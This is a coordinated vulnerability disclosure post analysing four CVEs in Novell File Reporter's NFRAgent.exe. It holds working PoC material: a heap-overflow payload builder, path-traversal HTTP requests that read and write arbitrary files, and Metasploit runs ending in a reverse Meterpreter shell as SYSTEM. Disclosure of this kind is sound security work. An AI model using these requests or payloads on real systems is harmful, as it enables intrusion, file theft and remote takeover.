Last updated at Thu, 28 Dec 2023 18:40:50 GMT
Today, we present to you several new vulnerabilities discovered in Novell File Reporter 1.0.2, which "helps organizations more effectively manage network storage by providing administrators the ability to access comprehensive network storage information so that they can determine the best means of addressing their storage content". Following our standard disclosure policy, we notified both Novell and CERT.
Vulnerabilities Summary
The four vulnerabilities presented have been found in the same component, NFRAgent.exe, which communicates with the Agent component over HTTPS on TCP port 3037:
-
CVE-2012-4956 - Heap Overflow: When handling requests of name “SRS”, the NFRAgent.exe fails to generate a response in a secure way, copying user controlled data into a fixed-length buffer in the heap without bounds checking. This vulnerability can result in remote code execution under the context of the SYSTEM account.
-
CVE-2012-4957 - Arbitrary File Retrieval: When handling requests on “/FSF/CMD” for records with NAME “SRS”, OPERATION “4” and CMD “103” the NFRAgent.exe allows a remote unauthenticated user to retrieve arbitrary remote files, specified with the tag “PATH”, with SYSTEM privileges.
-
CVE-2012-4958 - Arbitrary File Retrieval: When handling requests on “/FSF/CMD” for records with NAME “FSFUI” and UICMD “126” the NFRAgent.exe allows a remote unauthenticated user to retrieve arbitrary remote text files, specified with the tag “FILE”, with SYSTEM privileges.
-
CVE-2012-4959 - Arbitrary File Upload: When handling requests on “/FSF/CMD” for records with NAME “FSFUI” and UICMD “130” the NFRAgent.exe allows a remote unauthenticated user to upload files to the host, specified with the tag “FILE”, with SYSTEM privileges. It allows to execute remote code with SYSTEM privileges.
Disclosure Timeline
| Date | Description |
|---|---|
| 2012-09-14 | Initial discovery by Juan Vazquez |
| 2012-09-14 | Metasploit modules written |
| 2012-09-17 | Initial disclosure to Novell |
| 2012-11-06 | Disclosure to US CERT |
| 2012-11-16 | Public disclosure and Metasploit module published |
Technical Analysis
CVE-2012-4956 - Heap Overflow
Static analysis
The NFSAgent.exe allows communication with the Agent component over HTTPS on port TCP 3037. The requests against the Agent component are XML messages, containing “records” to be processes by the Agent. The Agent handles different types of record, one of them is “SRS”:
.text:00404BE9 add esp, 0Ch
.text:00404BEC push 14h ; length_arg_C
.text:00404BEE lea eax, [ebp+record_name_var_28]
.text:00404BF1 push eax ; result_arg_8
.text:00404BF2 push offset aName ; "NAME"
.text:00404BF7 mov ecx, [ebp+message_arg_8]
.text:00404BFA add ecx, 20h
.text:00404BFD push ecx ; xml_message_arg_0
.text:00404BFE mov ecx, [ebp+var_2C]
.text:00404C01 call parse_tag_sub_40A760 ; search tag "NAME" in the xml_message_arg_0 and store contents int he "record_name_var_28" variable
.text:00404C06 movzx edx, al
.text:00404C09 test edx, edx
.text:00404C0B jz short loc_404C8B
.text:00404C0D push offset aSrs_2 ; "SRS"
.text:00404C12 lea eax, [ebp+record_name_var_28]
.text:00404C15 push eax ; char *
.text:00404C16 call _strcmp ; compares the contents of the "NAME" element in the xml message from the request with the "SRS" string.
.text:00404C1B add esp, 8
.text:00404C1E test eax, eax
.text:00404C20 jnz short loc_404C38 ; if not "SRS" name check others, if yes, handle it...
.text:00404C22 mov ecx, [ebp+message_arg_8]
.text:00404C25 push ecx ; void *
.text:00404C26 mov edx, [ebp+arg_4]
.text:00404C29 push edx ; int
.text:00404C2A mov eax, [ebp+arg_0]
.text:00404C2D push eax ; int
.text:00404C2E call handle_SRS_sub_4048D0 ; handle the XML message with the RECORD of NAME "SRS"
In the function which handles records of name “SRS”, named “handle_SRS_sub_408D0”, a fixed-length buffer is created in the heap with “malloc()”:
.text:00404903 push 0C350h ; size_t
.text:00404908 call _malloc
.text:0040490D add esp, 4
.text:00404910 mov [ebp+response_var_8], eax
This buffer is used to store the response which is going to be returned to the user after handling the “SRS” record. An “SRS” record can request different types of operation, by using the tags “OPERATION” and “CMD”. In this report, the “OPERATION” with id 7, and “CMD” 4, has been used. This operation allows a user to specify a set of volumes, and retrieve the free space for everyone. The format of the request XML message is this:
<RECORD>
<NAME>SRS</NAME>
<OPERATION>4</OPERATION>
<CMD>7</CMD>
<VOL>vol_1_name</VOL>
<VOL>vol_2_name</VOL>
</RECORD>
While the analysis of the current vulnerability, has been discovered that the response is generated from the user request, copying the contents of the requested “VOL” elements to the fixed-length buffer in the heap without bounds checking.
Note: maybe other operations requested via “SRS” records can be used to trigger a heap overflow. It has not been checked.
The operation is handled by the function named “SRS_7_4_sub_4082E0”, which gets two arguments, the XML message for the RECORD to handle and the pointer to the vulnerable heap buffer allocated to store the response:
.text:004082E0 ; int __stdcall SRS_7_4_sub_4082E0(char *xml_message_arg_0, char *result_response_arg_4)
The “VOL” elements (the volume names) are processed by a loop like this in the “SRS_7_4_sub_4082E0” function:
for ( vol_object_var_254 = v25; vol_object_var_254; vol_object_var_254 = *(_DWORD *)(vol_object_var_254 + 12) )
{
parse_tag_sub_40A760((void *)v15, *(const char **)vol_object_var_254, (int)"VOL", &vol_name_var_20c, 0x1F4u); // get VOL element
volume_fspace_vol_35C = handle_volume_sub_4081E0(&vol_name_var_20c); // Retrieve Volume Free Space
volume_fscape_var_358 = v2;
vol_name_html_encode_var_494 = html_encode_sub_40B490(&vol_name_var_20c); // HTML Encode the volume name (user controlled data)
if ( vol_name_html_encode_var_494 )
{ // If the volume name has been HTML Encoded
v3 = volume_fscape_var_358;
v4 = volume_fspace_vol_35C;
v5 = vol_name_html_encode_var_494;
v6 = strlen(result_response_arg_4);
sprintf(&result_response_arg_4[v6], "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>", v5, v4, v3); // Vulnerability!!! sprintf user controlled data (volume name) to the end of the fix-length buffer in the heap without bound checking
free(vol_name_html_encode_var_494);
vol_name_html_encode_var_494 = 0;
}
else
{ // If the volume name hasn’t been HTML Encoded
v7 = volume_fscape_var_358;
v8 = volume_fspace_vol_35C;
v9 = strlen(result_response_arg_4);
sprintf(
&result_response_arg_4[v9], // Vulnerability!!! sprintf user controlled data (volume name) to the end of the fix-length buffer in the heap without bound checking
"<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
&vol_name_var_20c,
v8,
v7);
}
}
In this loop is where the buffer overflow occurs, the results of the VOL handling are attached to the response, stored in the fixed-length allocated buffer in the heap, with a sprintf() call. For every sprintf() the volume name is controlled by the user, specified in the
Proof of Concept and Dynamic Analysis
The vulnerability can be triggered by creating a specially crafted message, with a record of name “SRS”, specifying the operation “4” and cmd “7”, including a huge number of volumes (“VOL” elements). The ruby code used to generate the crafted message is this:
data = "4D14AED3B61B0DAB893355B8331CC71A" # Checksum
data << "<RECORD>"
data << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation
data << "<VOL>AAAAAAAAAA</VOL>" * 0xc35 # Volumes
data << "</RECORD>"
According to the static analysis presented before, when handling the crafted message, a fixed-length buffer of 0xc350 bytes to store the response is created in the heap:
0:007> g
Breakpoint 0 hit
eax=009e68b8 ebx=003f3bf8 ecx=b85645ca edx=7c90e4f4 esi=003f3bf8 edi=00000000
eip=00404908 esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
NFRAgent+0x4908:
00404908 e84cef0300 call NFRAgent+0x43859 (00443859)
0:007> dd esp L1
0120ff4c 0000c350
The allocated buffer is on 0x1220110:
0:007> p
eax=01220110 ebx=003f5e20 ecx=7c9101bb edx=009e0608 esi=003f5e20 edi=00000000
eip=0040490d esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
NFRAgent+0x490d:
0040490d 83c404 add esp,4
0:007> !heap -p -a eax
address 01220110 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
01220108 186b 0000 [01] 01220110 0c350 - (busy)
The results for every volume are attached to the fixed-length heap buffer via the sprintf at 004085C5:
Breakpoint 1 hit
eax=0122013e ebx=003f5e20 ecx=01220110 edx=c7ff3d52 esi=00479f89 edi=0120f1a1
eip=004085c5 esp=0120eec8 ebp=0120f3c0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
NFRAgent+0x85c5:
004085c5 e84ea70300 call NFRAgent+0x42d18 (00442d18)
The result of the sprintf is going to be stored at 0122013e:
0:007> dd esp L1
0120eec8 0122013e
The address belongs to the heap buffer:
0:007> !heap -p -a 0122013e
address 0122013e found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
01220108 186b 0000 [01] 01220110 0c350 - (busy)
The string which is going to be sprintfed contains the volume name (user controlled data):
0:007> da poi(esp+4)
0047a040 "<VOL><NAME>%s</NAME><FSPACE>%I64"
0047a060 "d</FSPACE></VOL>"
0:007> da poi(esp+8)
01250208 "AAAAAAAAAA"
After the first sprint, the contents of the heap vulnerable buffer are:
0:007> da 01220110
01220110 "<RESULT><VERSION>1</VERSION><STA"
01220130 "TUS>0</STATUS><VOL><NAME>AAAAAAA"
01220150 "AAA</NAME><FSPACE>0</FSPACE></VO"
01220170 "L>"
At this point, the contents of the heap, just after the vulnerable buffer, are presented:
0:007> !heap -p -a 01220110+0c350
address 0122c460 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0122c460 0003 0000 [01] 0122c468 00010 - (busy)
0:007> db 0122c460 L8
0122c460 03 00 6b 18 19 01 08 01
0:007> db 0122c468 L10
0122c468 80 c4 22 01 16 00 00 00-d0 9f 9e 00 a0 c4 22 01 .."...........".
After the offending loop the contents after the vulnerable heap buffer have been overwritten. For the chunk just after our vulnerable buffer, both heap chunk metadata and contents have been overflowed:
0:007> g
Breakpoint 0 hit
eax=00000000 ebx=003f5e20 ecx=00443085 edx=012501b0 esi=00479f89 edi=0120f1a1
eip=00408645 esp=0120eedc ebp=0120f3c0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
NFRAgent+0x8645:
00408645 c7852cfbffff00000000 mov dword ptr [ebp-4D4h],0 ss:0023:0120eeec=03ee2001
0:007> !heap -p -a 01220110
address 01220110 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
01220108 186b 0000 [01] 01220110 0c350 - (busy)
0:007> !heap -p -a 01220110+0xc350
address 0122c460 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0122c460 3e45 0000 [46] 0122c468 1f220 - (free)
0:007> db 0122c460 L8
0122c460 45 3e 30 3c 2f 46 53 50 E>0</FSP
0:007> db 0122c468 L10
0122c468 41 43 45 3e 3c 2f 56 4f-4c 3e 3c 56 4f 4c 3e 3c ACE></VOL><VOL><
And finally, with the proof of concept, the NFRAgent.exe crashes because tries to dereference a overwritten pointer:
0:007> g
(9ac.2f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000016 ebx=003f5e20 ecx=00443085 edx=3c3e4c4f esi=00479f89 edi=0120f1a1
eip=00405a70 esp=0120eec8 ebp=0120eed0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
NFRAgent+0x5a70:
00405a70 833a00 cmp dword ptr [edx],0 ds:0023:3c3e4c4f=????????
In order to assist testing of the vulnerability a metasploit module has been developed:
msf > use auxiliary/dos/http/novell_file_reporter_heap_bof
msf auxiliary(novell_file_reporter_heap_bof) > set RHOST 192.168.1.150
RHOST => 192.168.1.150
msf auxiliary(novell_file_reporter_heap_bof) > show options
Module options (auxiliary/dos/http/novell_file_reporter_heap_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.1.150 yes The target address
RPORT 3037 yes The target port
SSL true yes Use SSL
VHOST no HTTP server virtual host
msf auxiliary(novell_file_reporter_heap_bof) > run
[*] 192.168.1.150:3037 - Triggering the Heap Overflow to cause DoS...
[+] 192.168.1.150:3037 - NFR Agent didn't answer, DoS was successful
[*] Auxiliary module execution completed
msf auxiliary(novell_file_reporter_heap_bof) >
CVE-2012-4957 - Arbitrary File Retrieval
The NFSAgent.exe allows communication with the Agent component over HTTPS on port TCP 3037. The requests against the Agent component are XML messages, containing “records” to be processes by the Agent. The vulnerability occurs when the NFRAgent.exe handles requests on the URL “/FSF/CMD”. When handling RECORDs with NAME “SRS”, OPERATION “4” and CMD “103” the following code manages the requests:
.text:00408ACA
.text:00408ACA push 104h ; jumptable 0040878F case 99
.text:00408ACF lea eax, [ebp+file_path_var_110]
.text:00408AD5 push eax ; result_arg_8
.text:00408AD6 push offset aPath_1 ; "PATH"
.text:00408ADB mov ecx, [ebp+xml_message_arg_8]
.text:00408ADE push ecx ; xml_message_arg_0
.text:00408ADF mov ecx, [ebp+var_9D4]
.text:00408AE5 call parse_tag_sub_40A760 ; retrieve the contents of the PATH element
.text:00408AEA movzx edx, al
.text:00408AED test edx, edx
.text:00408AEF jz short loc_408B52
.text:00408AF1 mov eax, [ebp+arg_0]
.text:00408AF4 push eax
.text:00408AF5 mov ecx, [ebp+arg_4]
.text:00408AF8 push ecx
.text:00408AF9 push 0
.text:00408AFB push 0
.text:00408AFD push offset aApplicationOct ; "application/octet-stream"
.text:00408B02 lea edx, [ebp+file_path_var_110]
.text:00408B08 push edx
.text:00408B09 call SNISendDocResponse ; retrieve file contents and send back response
.text:00408B0E add esp, 18h
.text:00408B11 mov [ebp+result_operation_var_9C1], al
.text:00408B17 movzx eax, [ebp+result_operation_var_9C1]
.text:00408B1E test eax, eax
.text:00408B20 jz short error_loc_408B3A
.text:00408B22 lea ecx, [ebp+file_path_var_110]
.text:00408B28 push ecx
.text:00408B29 push offset aAddtaskSuccess ; "AddTask: Successfully started send of f"...
.text:00408B2E push 0
.text:00408B30 call write_log_sub_406080
.text:00408B35 add esp, 0Ch
.text:00408B38 jmp short loc_408B50
.text:00408B3A ; ---------------------------------------------------------------------------
.text:00408B3A
.text:00408B3A error_loc_408B3A: ; CODE XREF: parse_cmd_sub_4086B0+470j
.text:00408B3A lea edx, [ebp+file_path_var_110]
.text:00408B40 push edx
.text:00408B41 push offset aAddtaskFailedT ; "AddTask: Failed to send file (%s)."
.text:00408B46 push 0
.text:00408B48 call write_log_sub_406080
.text:00408B4D add esp, 0Ch
In the code presented above the file path is retrieved from the PATH element of the XML request. The filename is used to call the function SNISendDocResponse() provided by the ccs.dll component, which uses the provided filename to call directly “fopen” and read the contents.
Exploitation
In order to exploit the vulnerability the user must build a XML message like this one:
<RECORD>
<NAME>SRS</NAME>
<OPERATION>4</OPERATION>
<CMD>103</CMD>
<PATH>c:\\boot.ini</PATH>
</RECORD>
The file to read must be specified in the
The HTTP body must include a concatenation of a MD5 checksum of the xml message and the xml message. In order to generate a correct MD5 checksum of the xml message, it must be generated from a string with the next format: “SRS” XML MESSAGE “SERVER”, where “SRS” and “SERVER” are static strings.
As example the next HTTP request allows to retrieve the contents of the “C:\boot.ini” file:
POST /FSF/CMD HTTP/1.1
Host: 192.168.1.137:2037
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: text/xml
Content-Length: 127
FD97A41459FD495A43E3BF922B40DB23<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION> <CMD>103</CMD><PATH>c:\boot.ini</PATH></RECORD>
The contents of the “c:\boot.ini” are returned back to the user:
HTTP/1.1 200 OK
MIME-version: 1.0
Connection: close
Content-Type: application/octet-stream
Content-Length: 211
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
In order to assist testing of the vulnerability a metasploit module has been developed:
msf > use auxiliary/scanner/http/novell_file_reporter_srs_fileaccess
msf auxiliary(novell_file_reporter_srs_fileaccess) > set RHOSTS 192.168.1.150
RHOSTS => 192.168.1.150
msf auxiliary(novell_file_reporter_srs_fileaccess) > show options
Module options (auxiliary/scanner/http/novell_file_reporter_srs_fileaccess):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RFILE c:\boot.ini yes Remote File
RHOSTS 192.168.1.150 yes The target address range or CIDR identifier
RPORT 3037 yes The target port
SSL true yes Use SSL
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
msf auxiliary(novell_file_reporter_srs_fileaccess) > run
[*] 192.168.1.150:3037 - Retrieving the file contents
[*] 192.168.1.150:3037 - c:\boot.ini saved in /Users/juan/.msf4/loot/20121109155445_default_192.168.1.150_novell.filerepor_923267.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(novell_file_reporter_srs_fileaccess) > cat /Users/juan/.msf4/loot/20121109155445_default_192.168.1.150_novell.filerepor_923267.ini[*] exec: cat /Users/juan/.msf4/loot/20121109155445_default_192.168.1.150_novell.filerepor_923267.ini
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
CVE-2012-4958 - Arbitrary File Retrieval
The NFSAgent.exe allows communication with the Agent component over HTTPS on port TCP 3037. The requests against the Agent component are XML messages, containing “records” to be processes by the Agent. The vulnerability occurs when the NFRAgent.exe handles requests on the URL “/FSF/CMD”. When handling RECORDs with NAME “FSFUI” and UICMD “126” the request is managed by the function named as read_file_sub_409FA0() whose decompiled pseudocode is presented below:
char *__stdcall read_file_sub_409FA0(char *xml_message_arg_0, char *a2)
{
size_t v2; // eax@1
size_t v3; // eax@3
FILE *v4; // ST0C_4@5
size_t v5; // eax@5
size_t v6; // eax@5
char *result; // eax@5
char result_arg_8[260]; // [sp+Ch] [bp-190h]@1
int v9; // [sp+110h] [bp-8Ch]@1
size_t v10; // [sp+114h] [bp-88h]@5
FILE *v11; // [sp+118h] [bp-84h]@2
char v12; // [sp+11Ch] [bp-80h]@1
char v13; // [sp+154h] [bp-48h]@1
char v14; // [sp+158h] [bp-44h]@1
__int16 v15; // [sp+194h] [bp-8h]@1
char v16; // [sp+196h] [bp-6h]@1
memcpy(&v14, "<RESULT><VERSION>1</VERSION><STATUS>0</STATUS><CFILE><![CDATA[", 0x3Cu);
v15 = *(_WORD *)"A[";
v16 = aResultVersi_19[62];
memcpy(&v12, "<RESULT><VERSION>1</VERSION><STATUS>14</STATUS></RESULT>", 0x38u);
v13 = aResultVersi_20[56];
v9 = sub_40B670();
sub_402200(result_arg_8);
strcat(result_arg_8, "\\");
v2 = strlen(result_arg_8);
// The file path is retrieved from the FILE element of the XML request.
if ( (unsigned __int8)parse_tag_sub_40A760(xml_message_arg_0, (int)"FILE", &result_arg_8[v2], 256) )
{
// The FILE element can specify an absolute PATH
v11 = fopen(result_arg_8, "rb");
if ( !v11 )
{
strcpy(result_arg_8, Buffer);
strcat(result_arg_8, "\\");
v3 = strlen(result_arg_8);
//Or use a directory traversal to access with a relative PATH
parse_tag_sub_40A760(xml_message_arg_0, (int)"FILE", &result_arg_8[v3], 256);
v11 = fopen(result_arg_8, "rb");
}
if ( v11 )
{
strcpy(a2, &v14);
v4 = v11;
v5 = strlen(&v14);
// The contents of the specified file are read and attached to the response (a2)
v10 = fread(&a2[v5], 1u, 0xAFC8u, v4);
fclose(v11);
v6 = strlen(&v14);
result = strcpy(&a2[v10] + v6, "]]></CFILE></RESULT>");
}
else
{
result = strcpy(a2, &v12);
}
}
else
{
result = strcpy(a2, &v12);
}
return result;
}
In the code presented above the file path is retrieved from the FILE element of the XML request. The filename is used to call the function fopen() and then fread() is used to read the file contents. Finally the contents are attached to the response contents which will be returned back to the user.
Exploitation
In order to exploit the vulnerability the user must build a XML message like this one:
<RECORD>
<NAME>FSFUI</NAME>
<UICMD>126</UICMD>
<FILE>..\..\..\..\..\..\boot.ini</FILE>
</RECORD>
The file to read must be specified in the
The HTTP body must include a concatenation of a MD5 checksum of the xml message and the xml message. In order to generate a correct MD5 checksum of the xml message, it must be generated from a string with the next format: “SRS” XML MESSAGE “SERVER”, where “SRS” and “SERVER” are static strings.
As example the next HTTP request allows to retrieve the contents of the “C:\boot.ini” file:
POST /FSF/CMD HTTP/1.1
Host: 192.168.1.137:2037
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: text/xml
Content-Length: 124
562A72C2A891EC182BD76414BBB04C88<RECORD><NAME>FSFUI</NAME><UICMD>126</UICMD><FIL E>..\..\..\..\..\..\boot.ini</FILE></RECORD>
The contents of the “c:\boot.ini” are returned back to the user:
HTTP/1.1 200 OK
MIME-version: 1.0
Connection: close
Content-Type: text/xml
Content-Length: 293
<RESULT><VERSION>1</VERSION><STATUS>0</STATUS><CFILE><![CDATA[[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
]]></CFILE></RESULT>
In order to assist testing of the vulnerability a metasploit module has been developed:
msf > use auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess
msf auxiliary(novell_file_reporter_fsfui_fileaccess) > set RHOSTS 192.168.1.150
RHOSTS => 192.168.1.150
msf auxiliary(novell_file_reporter_fsfui_fileaccess) > show options
Module options (auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 6 yes Traversal depth
Proxies no Use a proxy chain
RFILE boot.ini yes Remote File
RHOSTS 192.168.1.150 yes The target address range or CIDR identifier
RPORT 3037 yes The target port
SSL true yes Use SSL
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
msf auxiliary(novell_file_reporter_fsfui_fileaccess) > run
[*] 192.168.1.150:3037 - Retrieving the file contents
[*] 192.168.1.150:3037 - boot.ini saved in /Users/juan/.msf4/loot/20121109154657_default_192.168.1.150_novell.filerepor_624595.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(novell_file_reporter_fsfui_fileaccess) > cat /Users/juan/.msf4/loot/20121109154657_default_192.168.1.150_novell.filerepor_624595.ini
[*] exec: cat /Users/juan/.msf4/loot/20121109154657_default_192.168.1.150_novell.filerepor_624595.ini
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
CVE-2012-4959 - Arbitrary File Upload
The NFSAgent.exe allows communication with the Agent component over HTTPS on port TCP 3037. The requests against the Agent component are XML messages, containing “records” to be processes by the Agent. The vulnerability occurs when the NFRAgent.exe handles requests on the URL “/FSF/CMD”. When handling RECORDs with NAME “FSFUI” and UICMD “130” the request is managed by the function named as read_file_sub_40A190 () whose decompiled pseudocode is presented below:
int __stdcall write_file_sub_40A190(char *xml_message_arg_0, char *a2)
{
size_t v2; // eax@1
int result; // eax@6
char result_arg_8[256]; // [sp+Ch] [bp-150h]@1
int v5; // [sp+10Ch] [bp-50h]@4
void *v6; // [sp+110h] [bp-4Ch]@3
int v7; // [sp+114h] [bp-48h]@1
FILE *v8; // [sp+118h] [bp-44h]@2
char v9; // [sp+11Ch] [bp-40h]@1
char v10; // [sp+154h] [bp-8h]@1
memcpy(&v9, "<RESULT><VERSION>1</VERSION><STATUS>%d</STATUS></RESULT>", 0x38u);
v10 = aResultVersi_21[56];
v7 = sub_40B670();
strcpy(result_arg_8, Buffer);
strcat(result_arg_8, "\\");
v2 = strlen(result_arg_8);
// The contents of the element <FILE> from the XML request are used to build the file path
// (stored in the result_arg_8 variable
if ( (unsigned __int8)parse_tag_sub_40A760(xml_message_arg_0, (int)"FILE", &result_arg_8[v2], 256) )
{
// The file path built from the <FILE> element is used in “fopen”. Using a directory
// traversal an arbitrary file can be opened in write mode.
v8 = fopen(result_arg_8, "wb");
if ( v8 )
{
sprintf(a2, &v9, 0);
// The contents between the tags “<![CDATA[“ and “]]>” are parsed from the user XML
// request.
v6 = (void *)sub_403F40(xml_message_arg_0, "<![CDATA[");
if ( v6 )
{
v6 = (char *)v6 + 9;
v5 = sub_403F40((char *)v6, "]]>");
if ( v5 )
// The parsed contents are written to the specified file.
fwrite(v6, 1u, v5 - (_DWORD)v6, v8);
}
result = fclose(v8);
}
else
{
result = sprintf(a2, &v9, 14);
}
}
else
{
result = sprintf(a2, &v9, 14);
}
return result;
}
In the code presented above the file path is retrieved from the FILE element of the XML request. The filename is used to call the function fopen(). Using a path traversal is possible to open or create any file in the filesystem with SYSTEM privileges. After that, the request is parsed for the “” tags and the contents between them are written to the file with “fwrite()”.
Exploitation
In order to exploit the vulnerability the user must build a XML message like this one:
<RECORD>
<NAME>FSFUI</NAME>
<UICMD>130</UICMD>
<FILE>..\..\..\..\..\..\test.txt</FILE><![CDATA[test]]>
</RECORD>
The file to write must be specified in the
The HTTP body must include a concatenation of a MD5 checksum of the xml message and the xml message. In order to generate a correct MD5 checksum of the xml message, it must be generated from a string with the next format: “SRS” XML MESSAGE “SERVER”, where “SRS” and “SERVER” are static strings.
As example the next HTTP request allows to write the string “metasploit” in the “C:\msf.txt” file:
POST /FSF/CMD HTTP/1.1
Host: 192.168.1.137:2037
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: text/xml
Content-Length: 145
3CFD5A649F67C0522A7FE1EDAC0382BF<RECORD><NAME>FSFUI</NAME><UICMD>130</UICMD><FILE>..\..\..\..\..\..\msf.txt</FILE><![CDATA[metasploit]]></RECORD>
If the file is written correctly a response with STATUS 0 is returned back to the user:
HTTP/1.1 200 OK
MIME-version: 1.0
Connection: close
Content-Type: text/xml
Content-Length: 55
<RESULT><VERSION>1</VERSION><STATUS>0</STATUS></RESULT>
In order to achieve remote code execution in versions smaller than Windows Vista, such as Windows XP SP3 and Windows 2003 SP2, the Windows Management Instrumentation has been used. A Metasploit module has been developed:
msf > use exploit/windows/novell/file_reporter_fsfui_upload
msf exploit(file_reporter_fsfui_upload) > set RHOST 192.168.1.150
RHOST => 192.168.1.150
msf exploit(file_reporter_fsfui_upload) > show options
Module options (exploit/windows/novell/file_reporter_fsfui_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 6 yes Traversal depth
Proxies no Use a proxy chain
RHOST 192.168.1.150 yes The target address
RPORT 3037 yes The target port
SSL true yes Use SSL
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(file_reporter_fsfui_upload) > exploit
[*] Started reverse handler on 192.168.1.129:4444
[*] Encoding payload into vbs...
[*] Generating mof file...
[*] 192.168.1.150:3037 - Uploading the VBS payload
[*] 192.168.1.150:3037 - VBS payload successfully uploaded
[*] 192.168.1.150:3037 - Uploading the MOF file
[*] 192.168.1.150:3037 - MOF file successfully uploaded
[*] Sending stage (752128 bytes) to 192.168.1.150
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.150:1133) at 2012-11-09 16:12:57 +0100
[!] Deleting the vbs payload "wGYrt.vbs" ...
[!] Deleting the mof file "lOpOwwjuW.mof" ...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.1.150 - Meterpreter session 1 closed. Reason: User exit
